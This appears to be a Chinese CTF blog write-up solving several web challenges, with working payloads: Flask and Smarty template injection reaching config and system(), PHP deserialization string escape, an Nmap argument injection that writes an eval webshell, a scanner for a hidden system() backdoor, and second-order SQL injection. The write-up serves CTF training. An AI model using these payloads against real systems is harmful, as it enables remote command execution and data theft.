flag{25edc1f6-ce50-48d6-8247-95f216d819af}


但是这里预期解中反斜杠是被禁用了的,所以这里sort读文件也行,反正方法挺多的

GET:img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=sort /flag
POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

image-20250622195524001

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

过滤了()configselfssti

image-20250623154628513

这里将configself都过滤了,就要借助一些沙盒逃逸的方法来调用禁用的函数对象

在flask中有4中全局变量

1.current_app:代表当前flask程序实例

2.g:g作为flask全局的一个临时变量。充当媒介的功能

3.requests对象:客户端发送的HTTP请求内容

4.session:用户会话

{{url_for.__globals__['current_app'].config['FLAG']}}

本来如果没过滤config,就可以直接使用{{config}}来查看当前配置,但是这里被过滤了就要用全局变量来找到config,而current_app是flask的实例,所有和flask有关的都会放在current_app里面
也可以下面这种,方法同理
get_flashed_message():假设在a页面操作出错,跳转到b页面,在b页面显示a页面的错误信息

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
{{''.__class__.__base__}}

image-20250623163211140

flag{26967718-9d41-4336-bb02-85476a6cd445}


注意,这里的config直接出现了,但是没有被替换,原因就是黑名单只拦截了直接的 configself,但这里的 config 是通过 current_app 的属性访问的,没有直接出现在模板中,因此不会被替换为 None。下面是ai的解释

current_app.config 不会 被拦截,因为:

  1. 黑名单只匹配完整的变量名
    • 它不会匹配 xxx.configconfig.xxx,只会匹配独立的 config
    • 例如:{{ config }} → 被拦截,但 {{ some_object.config }} 不受影响。
  2. current_app 是一个不同的变量
    • current_app 是 Flask 的全局变量(可通过 url_for.__globals__ 获取),它本身没有被过滤。
    • current_app.config 访问的是 current_app 对象的 config 属性,而不是直接访问 config 变量。

[安洵杯 2019]easy_serialize_php

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST); //可以根据这里来构造下面的$_SESSION数组,如果新传参那么就会对应替代,比如POST传一个$_SESSION['user']='admin',那么$_SESSION数组就只存在$_SESSION['user']='admin'了

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

//正常到这里数组有三个元素
//user=guest
//function=$function
//img=base64_encode('guest_img.png')
//所以要进行替换,改变数组中的元素


$serialize_info = filter(serialize($_SESSION)); //这里就可以实现字符串逃逸,注意这里是减少逃逸

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

先看一下phpinfo()吧,查找disable_function时看到上面有个d0g3_f1ag.php文件

image-20250623164818283

然后直接构造来读取d0g3_f1ag.php文件,这里还涉及到一个字符串逃逸的问题,本地代码如下来进行调试

<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

$_SESSION["user"]='guestflagflagflagflagflagflag';
$_SESSION["function"]='a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$a=serialize($_SESSION);
echo $a;
echo "\n";
$b=filter($a);
echo $b;
echo "\n";

#echo str_repeat('flag',6);


//正常为a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//有用payload:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//替换function后$_SESSION["function"]='";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
//a:3:{s:4:"user";s:5:"guest";s:8:"function";s:74:"";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//将";s:8:"function";s:74:"这一部分吞了,字符长度为23,后面补一个a
//a:3:{s:4:"user";s:5:"guest";s:8:"function";s:74:"a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//即";s:8:"function";s:74:"a,需要24/4=6个flag来替换
//echo str_repeat('flag',6);
//flagflagflagflagflagflag
//替换后$_SESSION["user"]='guestflagflagflagflagflagflag';
//替换后$_SESSION["function"]='a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
//a:3:{s:4:"user";s:29:"guestflagflagflagflagflagflag";s:8:"function";s:75:"a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//a:3:{s:4:"user";s:29:"guest";s:8:"function";s:75:"a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//可以看到这里就逃逸成功了,直接传参即可
GET:f=show_image
POST:_SESSION[user]=guestflagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&_SESSION[img]=ZDBnM19mMWFnLnBocA==

注意这里数组里面的键名和键值都不能加引号,因为双引号不是合法变量名,否则就要报错,并且不需要$是因为键名 _SESSION[user]会生成变量 $_SESSION_user。传参完可以看到在/d0g3_fllllllag,base完后为L2QwZzNfZmxsbGxsbGFn

image-20250623230757296

这里偷个懒,base64后仍为20个字符,和之前相同,所以直接替换即可

GET:f=show_image
POST:_SESSION[user]=guestflagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}&_SESSION[img]=ZDBnM19mMWFnLnBocA==

image-20250623231210702

flag{7bf109d4-a4a2-4b28-bcbe-29bec8213f59}

1[强网杯 2019]高明的黑客

先按照题目访问www.tar.gz下载源码,发现源码中除了一个index.html文件,其他都是php文件,一共3002个

这个数量的文件就不是瞪眼法看得出来的了,看了下文章,发现可以用python脚本提取文件中参数传参后判断是否有回显,从而找到有效文件,随便举一个文件中的为例_1lmu9tCVjs.php

关键在这个条件,这种一看就是个假条件,所以不能成立,这个文件就无效

if('V8dfwnVA5' == 'n3Ofh5nSW')
system($_POST['V8dfwnVA5'] ?? ' ');

python脚本如下

import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"C:\Users\25050\Downloads\www\src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://4aaffde8-89d4-4096-a7da-217cb3506772.node5.buuoj.cn:81/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

找到的有效文件为xk0SzyKwfzw.php ,参数为Efa5BVG,具体代码如下

<?php
$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx"; //拼接得到字符串sYstEmXnsTcx
$aYunX = explode('Xn', $aYunX); //从Xn分割字符串,得到数组:[0=>"sYstEm",1=>"sTcx"]
$kDxfM = new stdClass(); //创建空对象
$kDxfM->gHht = $aYunX[0]; //对象属性赋值,$kDxfM->gHht = "sYstEm"
($kDxfM->gHht)($XnEGfa); //调用$kDxfM->gHht("$XnEGfa"),即system($_GET['Efa5BVG']);
GET:Efa5BVG=tac /flag

image-20250624143725000

flag{b514582c-a79f-46fc-83db-35f0f5f8e8a4}

[网鼎杯 2020 朱雀组]Nmap

参考[BUUCTF 2018]Online Tool,测试后发现分号会报错,|会被转义,那就直接写文件就行

host=127.0.0.1;' <?php eval($_POST[123])?> -oG 1.php '

回显hacker,尝试更改后缀名和绕过php

host=127.0.0.1;' <?= eval($_POST[123])?> -oG 1.phtml '

image-20250721145635434

这样就说明写入了,直接蚁剑连接根目录找到flag

flag{55eb57ba-ad79-409c-919b-34423ff2fa2e}

[NPUCTF2020]ReadlezPHP

源码发现路由/time.php?source

<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

主要就是通过echo $b($a);,尝试几个常见命令执行的发现不能成功执行,换成assert成功执行(systempassthru等都在disable_function中)

GET:data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

image-20250721151106038

flag{fcfdc91d-8b9b-43d8-a1ab-757dee290106}

[ASIS 2019]Unicorn shop

这个算是涨姿势了,只能输入一个字符,在购买界面购买时会报错,去Unicode - Compart找一个千以上的Unicode编码输入就行

image-20250721151850058

这里我选的是,直接输入就行

image-20250721152110934

flag{71db2b33-7f4d-4854-878f-f78f4f2bd136}

[CISCN2019 华东南赛区]Web11

一个通过XFF来进行的Smarty SSTI

image-20250721152347457

参考[BJDCTF2020]The mystery of ip,直接if标签执行命令

X-Forwarded-For:{if system("tac /f*")}{/if}

image-20250721153648666

flag{88c02dd3-dfea-4ce5-bf73-2a5bdf7090cb}

[BSidesCF 2019]Kookie

先按照给的账号登录,成功登录但是似乎没有什么用,看到题目一直在提示cookie就在cookie中加上登录,就有了?奇奇怪怪

image-20250731181301868

flag{8fd69797-4ed8-46f6-8c70-adcca03829ea}

[SWPU2019]Web1

先随便注册登录,进去看到发布广告还以为是ssti,尝试后发现没找到管理员界面,仔细看看发现广告详情页面有参数

image-20250731181750638

这里尝试在广告名中插入sql语句,因为内容大概是根据名字从数据库中找出来的

image-20250731182459049

image-20250731182501327

可以看到那这里存在二次注入了,先fuzz一波发现过滤or,#,--+和空格,尝试注入(注意最后要加一个,'1来闭合语句最后的单引号),这里的

1'/**/group/**/by/**/22,'100

image-20250731183515489

分别是

image-20250731183533513

image-20250731183541005

这里接下来就可以使用union注入

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20250731183936655

找到回显位为2和3

-1'/**/union/**/select/**/1,(select/**/database()),(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22        //web1  	ads,users
想用handler打的,结果发现handler也被过滤了,老老实实无列名
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20250731185322328

flag{b24ca00d-97c6-4085-96d0-056143d63113}